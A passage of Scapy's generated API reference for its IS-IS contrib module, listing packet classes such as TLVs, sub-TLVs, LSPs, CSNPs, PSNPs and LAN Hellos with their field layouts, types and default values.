ISIS_IPv6InterfaceAddressSubTlv fields






	type

	ByteEnumField

	12



	len

	FieldLenField

	None



	address

	IP6Field

	'::'















	
class scapy.contrib.isis.ISIS_IPv6NeighborAddressSubTlv(_pkt, /, *, type=13, len=None, address='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L315-L319]

	Bases: ISIS_GenericSubTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            ADDRESS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ISIS_IPv6NeighborAddressSubTlv                


ISIS_IPv6NeighborAddressSubTlv fields






	type

	ByteEnumField

	13



	len

	FieldLenField

	None



	address

	IP6Field

	'::'















	
class scapy.contrib.isis.ISIS_InternalIpReachabilityTlv(_pkt, /, *, type=128, len=None, entries=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L819-L825]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            ENTRIES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ISIS_InternalIpReachabilityTlv                


ISIS_InternalIpReachabilityTlv fields






	type

	ByteEnumField

	128



	len

	FieldLenField

	None



	entries

	PacketListField

	[]















	
class scapy.contrib.isis.ISIS_IpInterfaceAddressTlv(_pkt, /, *, type=132, len=None, addresses=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L669-L673]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |           ADDRESSES           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. ISIS_IpInterfaceAddressTlv                  


ISIS_IpInterfaceAddressTlv fields






	type

	ByteEnumField

	132



	len

	FieldLenField

	None



	addresses

	FieldListField

	[]















	
class scapy.contrib.isis.ISIS_IpReachabilityEntry(_pkt, /, *, defmetric=1, delmetric=128, expmetric=128, errmetric=128, ipaddress='0.0.0.0', subnetmask='255.255.255.255')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L806-L816]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L815-L816]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   DEFMETRIC   |   DELMETRIC   |   EXPMETRIC   |   ERRMETRIC   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           IPADDRESS                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SUBNETMASK                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ISIS_IpReachabilityEntry                   


ISIS_IpReachabilityEntry fields






	defmetric

	ByteField

	1



	delmetric

	ByteField

	128



	expmetric

	ByteField

	128



	errmetric

	ByteField

	128



	ipaddress

	IPField

	'0.0.0.0'



	subnetmask

	IPField

	'255.255.255.255'















	
class scapy.contrib.isis.ISIS_Ipv6InterfaceAddressTlv(_pkt, /, *, type=232, len=None, addresses=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L676-L682]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |           ADDRESSES           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. ISIS_Ipv6InterfaceAddressTlv                 


ISIS_Ipv6InterfaceAddressTlv fields






	type

	ByteEnumField

	232



	len

	FieldLenField

	None



	addresses

	IP6ListField

	[]















	
class scapy.contrib.isis.ISIS_Ipv6Prefix(_pkt, /, *, metric=1, updown=0, external=0, subtlvindicator=0, reserved=0, pfxlen=None, pfx=('::', 1), subtlvslen=None, subtlvs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L685-L700]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L699-L700]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             METRIC                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|U|E|S| RESERVED|     PFXLEN    |              PFX              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |   SUBTLVSLEN  |    SUBTLVS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. ISIS_Ipv6Prefix                       


ISIS_Ipv6Prefix fields






	metric

	IntField

	1



	updown

	BitField  (1 bit)

	0



	external

	BitField  (1 bit)

	0



	subtlvindicator

	BitField  (1 bit)

	0



	reserved

	BitField  (5 bits)

	0



	pfxlen

	FieldLenField

	None



	pfx

	IP6PrefixField

	('::', 1)



	subtlvslen

	FieldLenField (Cond)

	None



	subtlvs

	PacketListField (Cond)

	[]















	
class scapy.contrib.isis.ISIS_Ipv6ReachabilityTlv(_pkt, /, *, type=236, len=None, pfxs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L703-L707]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              PFXS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ISIS_Ipv6ReachabilityTlv                   


ISIS_Ipv6ReachabilityTlv fields






	type

	ByteEnumField

	236



	len

	FieldLenField

	None



	pfxs

	PacketListField

	[]















	
class scapy.contrib.isis.ISIS_IsNeighbourTlv(_pkt, /, *, type=6, len=None, neighbours=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L710-L714]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |           NEIGHBOURS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. ISIS_IsNeighbourTlv                     


ISIS_IsNeighbourTlv fields






	type

	ByteEnumField

	6



	len

	FieldLenField

	None



	neighbours

	FieldListField

	[]















	
class scapy.contrib.isis.ISIS_IsReachabilityEntry(_pkt, /, *, defmetric=1, delmetric=128, expmetric=128, errmetric=128, neighbourid='0102.0304.0506.07')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L837-L846]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L845-L846]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   DEFMETRIC   |   DELMETRIC   |   EXPMETRIC   |   ERRMETRIC   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          NEIGHBOURID                          |
+                                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ISIS_IsReachabilityEntry                   


ISIS_IsReachabilityEntry fields






	defmetric

	ByteField

	1



	delmetric

	ByteField

	128



	expmetric

	ByteField

	128



	errmetric

	ByteField

	128



	neighbourid

	ISIS_NodeIdField

	'0102.0304.0506.07'















	
class scapy.contrib.isis.ISIS_IsReachabilityTlv(_pkt, /, *, type=2, len=None, virtual=0, neighbours=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L849-L856]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |    VIRTUAL    |   NEIGHBOURS  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                   Fig. ISIS_IsReachabilityTlv                    


ISIS_IsReachabilityTlv fields






	type

	ByteEnumField

	2



	len

	FieldLenField

	None



	virtual

	ByteField

	0



	neighbours

	PacketListField

	[]















	
class scapy.contrib.isis.ISIS_L1_CSNP(_pkt, /, *, pdulength=None, sourceid='0102.0304.0506.00', startlspid='0000.0000.0000.00-00', endlspid='FFFF.FFFF.FFFF.FF-FF', tlvs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L1012-L1016]

	Bases: _ISIS_CSNP_Base


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L1015-L1016]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PDULENGTH           |            SOURCEID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   STARTLSPID                  |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    ENDLSPID                   |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              TLVS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ISIS_L1_CSNP                         


ISIS_L1_CSNP fields






	pdulength

	_ISIS_PduLengthField

	None



	sourceid

	ISIS_NodeIdField

	'0102.0304.0506.00'



	startlspid

	ISIS_LspIdField

	'0000.0000.0000.00-00'



	endlspid

	ISIS_LspIdField

	'FFFF.FFFF.FFFF.FF-FF'



	tlvs

	_ISIS_TlvListField

	[]















	
class scapy.contrib.isis.ISIS_L1_LAN_Hello(_pkt, /, *, circuittype=<Flag 2 (L2)>, sourceid='0102.0304.0506', holdingtime=30, pdulength=None, priority=1, lanid='0000.0000.0000.00', tlvs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L939-L940]

	Bases: _ISIS_LAN_HelloBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  CIRCUITTYPE  |                    SOURCEID                   |
+-+-+-+-+-+-+-+-+                               +-+-+-+-+-+-+-+-+
|                                               |  HOLDINGTIME  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           PDULENGTH           |    PRIORITY   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LANID                             |
+                                               +-+-+-+-+-+-+-+-+
|                                               |      TLVS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. ISIS_L1_LAN_Hello                      


ISIS_L1_LAN_Hello fields






	circuittype

	ISIS_CircuitTypeField

	<Flag 2 (L2)>



	sourceid

	ISIS_SystemIdField

	'0102.0304.0506'



	holdingtime

	ShortField

	30



	pdulength

	_ISIS_PduLengthField

	None



	priority

	ByteField

	1



	lanid

	ISIS_NodeIdField

	'0000.0000.0000.00'



	tlvs

	_ISIS_TlvListField

	[]















	
class scapy.contrib.isis.ISIS_L1_LSP(_pkt, /, *, pdulength=None, lifetime=1199, lspid='0102.0304.0506.00-00', seqnum=1, checksum=None, typeblock=<Flag 3 (L1+L2)>, tlvs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L983-L987]

	Bases: _ISIS_LSP_Base


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L986-L987]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PDULENGTH           |            LIFETIME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LSPID                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SEQNUM                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CHECKSUM           |   TYPEBLOCK   |      TLVS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. ISIS_L1_LSP                         


ISIS_L1_LSP fields






	pdulength

	_ISIS_PduLengthField

	None



	lifetime

	ShortField

	1199



	lspid

	ISIS_LspIdField

	'0102.0304.0506.00-00'



	seqnum

	XIntField

	1



	checksum

	XShortField

	None



	typeblock

	FlagsField

	<Flag 3 (L1+L2)>



	tlvs

	_ISIS_TlvListField

	[]















	
class scapy.contrib.isis.ISIS_L1_PSNP(_pkt, /, *, pdulength=None, sourceid='0102.0304.0506.00', tlvs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L1034-L1038]

	Bases: _ISIS_PSNP_Base


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L1037-L1038]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PDULENGTH           |            SOURCEID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              TLVS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ISIS_L1_PSNP                         


ISIS_L1_PSNP fields






	pdulength

	_ISIS_PduLengthField

	None



	sourceid

	ISIS_NodeIdField

	'0102.0304.0506.00'



	tlvs

	_ISIS_TlvListField

	[]















	
class scapy.contrib.isis.ISIS_L2_CSNP(_pkt, /, *, pdulength=None, sourceid='0102.0304.0506.00', startlspid='0000.0000.0000.00-00', endlspid='FFFF.FFFF.FFFF.FF-FF', tlvs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L1019-L1023]

	Bases: _ISIS_CSNP_Base


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L1022-L1023]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PDULENGTH           |            SOURCEID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   STARTLSPID                  |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    ENDLSPID                   |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              TLVS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ISIS_L2_CSNP                         


ISIS_L2_CSNP fields






	pdulength

	_ISIS_PduLengthField

	None



	sourceid

	ISIS_NodeIdField

	'0102.0304.0506.00'



	startlspid

	ISIS_LspIdField

	'0000.0000.0000.00-00'



	endlspid

	ISIS_LspIdField

	'FFFF.FFFF.FFFF.FF-FF'



	tlvs

	_ISIS_TlvListField

	[]















	
class scapy.contrib.isis.ISIS_L2_LAN_Hello(_pkt, /, *, circuittype=<Flag 2 (L2)>, sourceid='0102.0304.0506', holdingtime=30, pdulength=None, priority=1, lanid='0000.0000.0000.00', tlvs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L943-L944]

	Bases: _ISIS_LAN_HelloBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  CIRCUITTYPE  |                    SOURCEID                   |
+-+-+-+-+-+-+-+-+                               +-+-+-+-+-+-+-+-+
|                                               |  HOLDINGTIME  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           PDULENGTH           |    PRIORITY   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LANID                             |
+                                               +-+-+-+-+-+-+-+-+
|                                               |      TLVS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. ISIS_L2_LAN_Hello                      


ISIS_L2_LAN_Hello fields






	circuittype

	ISIS_CircuitTypeField

	<Flag 2 (L2)>



	sourceid

	ISIS_SystemIdField

	'0102.0304.0506'



	holdingtime

	ShortField

	30



	pdulength

	_ISIS_PduLengthField

	None



	priority

	ByteField

	1



	lanid

	ISIS_NodeIdField

	'0000.0000.0000.00'



	tlvs

	_ISIS_TlvListField

	[]















	
class scapy.contrib.isis.ISIS_L2_LSP(_pkt, /, *, pdulength=None, lifetime=1199, lspid='0102.0304.0506.00-00', seqnum=1, checksum=None, typeblock=<Flag 3 (L1+L2)>, tlvs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L990-L994]

	Bases: _ISIS_LSP_Base


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L993-L994]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PDULENGTH           |            LIFETIME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LSPID                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SEQNUM                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CHECKSUM           |   TYPEBLOCK   |      TLVS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. ISIS_L2_LSP                         


ISIS_L2_LSP fields






	pdulength

	_ISIS_PduLengthField

	None



	lifetime

	ShortField

	1199



	lspid

	ISIS_LspIdField

	'0102.0304.0506.00-00'



	seqnum

	XIntField

	1



	checksum

	XShortField

	None



	typeblock

	FlagsField

	<Flag 3 (L1+L2)>



	tlvs

	_ISIS_TlvListField

	[]















	
class scapy.contrib.isis.ISIS_L2_PSNP(_pkt, /, *, pdulength=None, sourceid='0102.0304.0506.00', tlvs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L1041-L1045]

	Bases: _ISIS_PSNP_Base


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L1044-L1045]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PDULENGTH           |            SOURCEID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              TLVS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ISIS_L2_PSNP                         


ISIS_L2_PSNP fields






	pdulength

	_ISIS_PduLengthField

	None



	sourceid

	ISIS_NodeIdField

	'0102.0304.0506.00'



	tlvs

	_ISIS_TlvListField

	[]















	
class scapy.contrib.isis.ISIS_LinkLocalRemoteIdentifiersSubTlv(_pkt, /, *, type=4, len=8, localid='0', remoteid='0')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L300-L305]

	Bases: ISIS_GenericSubTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            LOCALID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            REMOTEID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. ISIS_LinkLocalRemoteIdentifiersSubTlv            


ISIS_LinkLocalRemoteIdentifiersSubTlv fields






	type

	ByteEnumField

	4



	len

	FieldLenField

	8



	localid

	IntField

	'0'



	remoteid

	IntField

	'0'















	
class scapy.contrib.isis.ISIS_LspEntry(_pkt, /, *, lifetime=1200, lspid='0102.0304.0506.07-08', seqnum=1, checksum=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L717-L725]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L724-L725]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            LIFETIME           |             LSPID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             SEQNUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            CHECKSUM           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ISIS_LspEntry                        


ISIS_LspEntry fields






	lifetime

	ShortField

	1200



	lspid

	ISIS_LspIdField

	'0102.0304.0506.07-08'



	seqnum

	XIntField

	1



	checksum

	XShortField

	None















	
class scapy.contrib.isis.ISIS_LspEntryTlv(_pkt, /, *, type=9, len=None, entries=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L728-L734]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            ENTRIES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ISIS_LspEntryTlv                       


ISIS_LspEntryTlv fields






	type

	ByteEnumField

	9



	len

	FieldLenField

	None



	entries

	PacketListField

	[]















	
class scapy.contrib.isis.ISIS_LspIdField(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L209-L214]

	Bases: _ISIS_IdFieldBase


	
randval()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L213-L214]

	








	
class scapy.contrib.isis.ISIS_MaximumLinkBandwidthSubTlv(_pkt, /, *, type=9, len=None, maxbw=1000)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L329-L333]

